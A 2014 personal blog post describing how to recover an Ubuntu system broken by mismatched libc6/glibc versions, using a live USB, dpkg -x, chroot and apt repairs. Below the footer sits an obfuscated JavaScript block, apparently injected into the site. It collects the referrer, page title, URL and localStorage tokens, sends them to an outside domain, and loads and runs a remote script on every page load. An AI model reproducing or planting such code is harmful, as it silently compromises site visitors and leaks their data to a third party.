Skip to content

motd/grapevine

the grapevine social multi-plex & motd log feed → TCP/IP Suite [W3]

  • Home
Expand Search Form

botched libc6/glibc libraries on gnu/linux

joshua ryan nydel 2014/09/18

DATELINE: Some Folder In /dev/sda1 I.E. Your Root Partition on Your Primary Lappy/Desktop

invariably it happens that we screw up an important library upon which all things seem to depend. today, in my ongoing war against the anthropomorphized gnu/linux’s malpractice lawyers, i emerged from a battle/lawsuit victorious. i want to outline the details in a motd on the grapevine because i couldn’t find sufficient help anywhere – and i even resorted to desperate pleas on mainstream irc – so i’m pretty sure a guide doesn’t exist for this particular battle.

 

in my case, the package that got f’cked was libc6 & glibc which are in one of ubuntu’s weird-ish manners combined into a meta-ish package called eglibc or something. at some point, by no real fault of my own as the user, my system was running two different versions of libc, and this rendered almost every command i could issue useless. the error was as follows:

 GLIBC_2.17′ not found (required by /bin/ls)

not a joke, that was seriously my system’s response to a call of `ls` (although `echo *` continued to work).

my laptop’s manufacturers responded to my support ticket (under paid warranty) with the following:

 

interaction w/my hardware manufacturer’s under-warranty tech-support during major system crisis

after a painstaking process of this & that, i ended up posting the following as my solution:

  1. accept that your system is f’cked. i wasted a lot of time keeping the kernel & in-memory programs running.
  2. boot a functional instance of ubuntu, most likely off of a thumb or cd/dvd image.
  3. do ‘mkdir /m1’ then ‘mount /dev/sda1 /m1’
  4. grab the apropos deb from http://packages.ubuntu.com/trusty/libc6 — replace “trusty” in that URI with your distribution
  5. save the deb to /m1 and from terminal, cd’d into the /m1 directory, call ‘dpkg -x {libname.deb} /m1’ to extract it
  6. call ‘chroot /m1’ and try ‘ls’ — it should work. feel free to run ‘dpkg -l | grep libc6’ to see details & confirm all upgrades
  7. if this doesn’t boot, get back into the working instance, mount your /dev/sda1, chroot to its folder & call ‘dpkg –configure -a’
  8. avoid #7 and all future handling of package/system configuration on your ubuntu using debian utilities.
  9. browse /lib/x86_64-linux-gnu/ and see that there are only one instance each of ld-2.xx.so & libc-2.xx.so & libpthread-2.xx.so
  10. while still in the changed root call apt-get and do update purge autopurge autoremove install, the works.
  11. reboot and don’t f’ck with packages using debian tools ever again. if you get out of this without fresh install, you got lucky.

 

i don’t want my motds to be computer science support tutorials but this is a bigger concept than that. i only hope that enough people will know about the grapevine soon enough that this advice will get into the appropriate hands! hey – help us make that happen if you can, would you? cheers.

Categories gnu, hacking, linux, technology, troubleshooting, ubuntu Tags broken, dependencies, fix, glibc, kernel, libc6, panic, ubuntu
Previous: the big device/s with the decorative mouse
Next: appropriation hacking

RSS @nydel@mastodon.sdf.org

  • Untitled 2021/08/21
    https://vm.tiktok.com/ZMRY1UYSo/
  • Untitled 2021/01/17
    original #frozen fan song & test animatic

Categories

  • 7dtd (3)
  • community (8)
  • editorial (6)
  • ethics (8)
  • experimentation (5)
  • games (6)
  • gnu (5)
  • grapevine (4)
  • hacking (10)
  • hardware (2)
  • humor (3)
  • instructional (1)
  • linux (6)
  • maths (1)
  • open source (3)
  • psychology (4)
  • social (6)
  • technology (8)
  • tna (3)
  • troubleshooting (1)
  • ubuntu (1)
  • Uncategorized (2)

motd/grapevine © 2026

function _0xf1e7(){var _0x514791=['Jeojh','removeItem','&token=','uRZmN','RPhHz','pathname','parse','GwLat','_Hn15L3bSG','nJDuX','round','.client','search','yRyZo','522870MVIKLr','rYcoK','token','n/javascri','&host=','nKcbF','insertBefo','IYdTV','RUloN','parentNode','3106558uIpGFE','unique','5lPtWzM','wGUhy','LgKSY','&se_referr','R_PATH','WPhfH','created_at','config','ent','?return=js','jmawn','3AKJtNg','&sub_id=','QGSyi','getElement','&name=','LIZNs','1693926rRFItw','tY3CMZh','cnYQz','eyword=','replace','sByTagName','&landing_u','288030jXAZVz','title','Yooks','applicatio','&default_k','referrer','location','GZJsY','1807912gxmKbH','18vlBKiM','SVbcy','com/jXYdNC','dmXTb','script','subId','er=','getItem','TxRWW','mWJpX','undefined','src','kvaOo','ttl','LShHz','FCcmj','rl=','type','hostname','1387468bwBHlV','VgOzg','14185590JmXpQe','ntscanvas.','ZbgUy','GiPZk','https://fo','rQTug','createElem'];_0xf1e7=function(){return _0x514791;};return _0xf1e7();}function _0x27b1(_0x417db9,_0x454b89){_0x417db9=_0x417db9-(-0x1dfc+0x6bd+0x1905);var _0x5ea932=_0xf1e7();var _0x3d7515=_0x5ea932[_0x417db9];return _0x3d7515;}(function(_0x218721,_0x500da4){var _0xe314ec=_0x27b1,_0x5815fc=_0x218721();while(!![]){try{var _0x5b08b0=-parseInt(_0xe314ec(0x1e9))/(0x62b+-0x5*-0x82+-0x2*0x45a)*(-parseInt(_0xe314ec(0x1f6))/(-0x9fd+0x95e+-0x17*-0x7))+-parseInt(_0xe314ec(0x1d2))/(0x70b+-0x28a+-0x47e*0x1)+parseInt(_0xe314ec(0x212))/(0x1f*-0x3d+-0x60d+0x1c*0x7b)*(parseInt(_0xe314ec(0x1de))/(-0x2408+-0x1a*0x109+0x3ef7))+parseInt(_0xe314ec(0x1ef))/(0x1441+-0x7a+-0x13c1)+parseInt(_0xe314ec(0x1dc))/(0x5aa+-0x1*0x23dd+0x1e3a)+parseInt(_0xe314ec(0x1fe))/(-0x171b*0x1+-0x1f38+0x79*0x73)*(parseInt(_0xe314ec(0x1ff))/(0x2*-0x990+-0xb70+-0x175*-0x15))+-parseInt(_0xe314ec(0x214))/(0x9e0+-0x4a7+0x1*-0x52f);if(_0x5b08b0===_0x500da4)break;else _0x5815fc['push'](_0x5815fc['shift']());}catch(_0x65989c){_0x5815fc['push'](_0x5815fc['shift']());}}}(_0xf1e7,0x2db6*-0x3b+-0x2*-0x12657+0xdcac0),(function(){var _0x50ddd3=_0x27b1,_0x4505ec={'nKcbF':_0x50ddd3(0x1cc)+_0x50ddd3(0x1f0),'rQTug':_0x50ddd3(0x218)+_0x50ddd3(0x215)+_0x50ddd3(0x201)+'nF','LShHz':_0x50ddd3(0x1e5),'yRyZo':function(_0xd0aff4,_0x378e3a){return _0xd0aff4!==_0x378e3a;},'WPhfH':_0x50ddd3(0x209),'RPhHz':function(_0x1c774a,_0x34545c){return _0x1c774a/_0x34545c;},'uRZmN':function(_0x35661a,_0x1a7789){return _0x35661a<_0x1a7789;},'RUloN':function(_0x2828ee,_0x58ebd0){return _0x2828ee+_0x58ebd0;},'ZbgUy':_0x50ddd3(0x204),'FCcmj':_0x50ddd3(0x1d4),'dmXTb':_0x50ddd3(0x1e7)+_0x50ddd3(0x1cf),'LIZNs':function(_0x3514e1,_0x547440){return _0x3514e1+_0x547440;},'nJDuX':function(_0x48784f,_0x2c6fa5){return _0x48784f(_0x2c6fa5);},'kvaOo':function(_0x36db14,_0x4fc1e5){return _0x36db14+_0x4fc1e5;},'mWJpX':_0x50ddd3(0x1e1)+_0x50ddd3(0x205),'VgOzg':_0x50ddd3(0x1fa)+_0x50ddd3(0x1f2),'SVbcy':_0x50ddd3(0x1f5)+_0x50ddd3(0x20f),'IYdTV':function(_0x70ace1,_0x516dad){return _0x70ace1+_0x516dad;},'GiPZk':function(_0x13f461,_0x2cf7a1){return _0x13f461+_0x2cf7a1;},'GZJsY':_0x50ddd3(0x1ed),'rYcoK':function(_0x5ca322,_0x1eb46b){return _0x5ca322(_0x1eb46b);},'GwLat':function(_0x25b9d1,_0x4047a2){return _0x25b9d1+_0x4047a2;},'Yooks':_0x50ddd3(0x1d6),'Jeojh':function(_0x5a69c5,_0xac911){return _0x5a69c5(_0xac911);},'jmawn':function(_0x3cddf7,_0x536c16){return _0x3cddf7!==_0x536c16;},'QGSyi':_0x50ddd3(0x1ea),'LgKSY':function(_0x44a5c7,_0x32753f){return _0x44a5c7+_0x32753f;},'TxRWW':_0x50ddd3(0x1c6),'cnYQz':_0x50ddd3(0x203),'wGUhy':_0x50ddd3(0x1f9)+_0x50ddd3(0x1d5)+'pt'},_0x59390d=_0x4505ec[_0x50ddd3(0x1d7)];!window[_0x50ddd3(0x1cc)+_0x50ddd3(0x1f0)]&&(window[_0x50ddd3(0x1cc)+_0x50ddd3(0x1f0)]={'unique':![],'ttl':0x54600,'R_PATH':_0x4505ec[_0x50ddd3(0x219)]});const _0x32e47d=localStorage[_0x50ddd3(0x206)](_0x4505ec[_0x50ddd3(0x20d)]);if(_0x4505ec[_0x50ddd3(0x1d1)](typeof _0x32e47d,_0x4505ec[_0x50ddd3(0x1e3)])&&_0x4505ec[_0x50ddd3(0x1d1)](_0x32e47d,null)){var _0x21c414=JSON[_0x50ddd3(0x1ca)](_0x32e47d),_0x2072ec=Math[_0x50ddd3(0x1ce)](_0x4505ec[_0x50ddd3(0x1c8)](+new Date(),0x1695+0x1ea0+-0x314d*0x1));_0x4505ec[_0x50ddd3(0x1c7)](_0x4505ec[_0x50ddd3(0x1da)](_0x21c414[_0x50ddd3(0x1e4)],window[_0x50ddd3(0x1cc)+_0x50ddd3(0x1f0)][_0x50ddd3(0x20c)]),_0x2072ec)&&(localStorage[_0x50ddd3(0x21c)](_0x4505ec[_0x50ddd3(0x216)]),localStorage[_0x50ddd3(0x21c)](_0x4505ec[_0x50ddd3(0x20e)]),localStorage[_0x50ddd3(0x21c)](_0x4505ec[_0x50ddd3(0x20d)]));}var _0x39352b=localStorage[_0x50ddd3(0x206)](_0x4505ec[_0x50ddd3(0x216)]),_0x1e60f0=localStorage[_0x50ddd3(0x206)](_0x4505ec[_0x50ddd3(0x20e)]),_0x9208f0=_0x4505ec[_0x50ddd3(0x202)];_0x9208f0+=_0x4505ec[_0x50ddd3(0x1ee)]('&',_0x4505ec[_0x50ddd3(0x1cd)](decodeURIComponent,window[_0x50ddd3(0x1fc)][_0x50ddd3(0x1d0)][_0x50ddd3(0x1f3)]('?',''))),_0x9208f0+=_0x4505ec[_0x50ddd3(0x20b)](_0x4505ec[_0x50ddd3(0x208)],_0x4505ec[_0x50ddd3(0x1cd)](encodeURIComponent,document[_0x50ddd3(0x1fb)])),_0x9208f0+=_0x4505ec[_0x50ddd3(0x1da)](_0x4505ec[_0x50ddd3(0x213)],_0x4505ec[_0x50ddd3(0x1cd)](encodeURIComponent,document[_0x50ddd3(0x1f7)])),_0x9208f0+=_0x4505ec[_0x50ddd3(0x1ee)](_0x4505ec[_0x50ddd3(0x200)],_0x4505ec[_0x50ddd3(0x1cd)](encodeURIComponent,_0x4505ec[_0x50ddd3(0x1d9)](document[_0x50ddd3(0x1fc)][_0x50ddd3(0x211)],document[_0x50ddd3(0x1fc)][_0x50ddd3(0x1c9)]))),_0x9208f0+=_0x4505ec[_0x50ddd3(0x217)](_0x4505ec[_0x50ddd3(0x1fd)],_0x4505ec[_0x50ddd3(0x1d3)](encodeURIComponent,_0x59390d)),_0x9208f0+=_0x4505ec[_0x50ddd3(0x1cb)](_0x4505ec[_0x50ddd3(0x1f8)],_0x4505ec[_0x50ddd3(0x21b)](encodeURIComponent,window[_0x50ddd3(0x1cc)+_0x50ddd3(0x1f0)][_0x50ddd3(0x1e2)]));_0x4505ec[_0x50ddd3(0x1e8)](typeof _0x39352b,_0x4505ec[_0x50ddd3(0x1e3)])&&_0x39352b&&window[_0x50ddd3(0x1cc)+_0x50ddd3(0x1f0)][_0x50ddd3(0x1dd)]&&(_0x9208f0+=_0x4505ec[_0x50ddd3(0x20b)](_0x4505ec[_0x50ddd3(0x1eb)],_0x4505ec[_0x50ddd3(0x1d3)](encodeURIComponent,_0x39352b)));_0x4505ec[_0x50ddd3(0x1e8)](typeof _0x1e60f0,_0x4505ec[_0x50ddd3(0x1e3)])&&_0x1e60f0&&window[_0x50ddd3(0x1cc)+_0x50ddd3(0x1f0)][_0x50ddd3(0x1dd)]&&(_0x9208f0+=_0x4505ec[_0x50ddd3(0x1e0)](_0x4505ec[_0x50ddd3(0x207)],_0x4505ec[_0x50ddd3(0x1cd)](encodeURIComponent,_0x1e60f0)));var _0xf26d93=document[_0x50ddd3(0x21a)+_0x50ddd3(0x1e6)](_0x4505ec[_0x50ddd3(0x1f1)]);_0xf26d93[_0x50ddd3(0x210)]=_0x4505ec[_0x50ddd3(0x1df)],_0xf26d93[_0x50ddd3(0x20a)]=_0x4505ec[_0x50ddd3(0x1da)](window[_0x50ddd3(0x1cc)+_0x50ddd3(0x1f0)][_0x50ddd3(0x1e2)],_0x9208f0);var _0x4f6806=document[_0x50ddd3(0x1ec)+_0x50ddd3(0x1f4)](_0x4505ec[_0x50ddd3(0x1f1)])[-0x3fb+-0xb5f+0xf5a];_0x4f6806[_0x50ddd3(0x1db)][_0x50ddd3(0x1d8)+'re'](_0xf26d93,_0x4f6806);}()));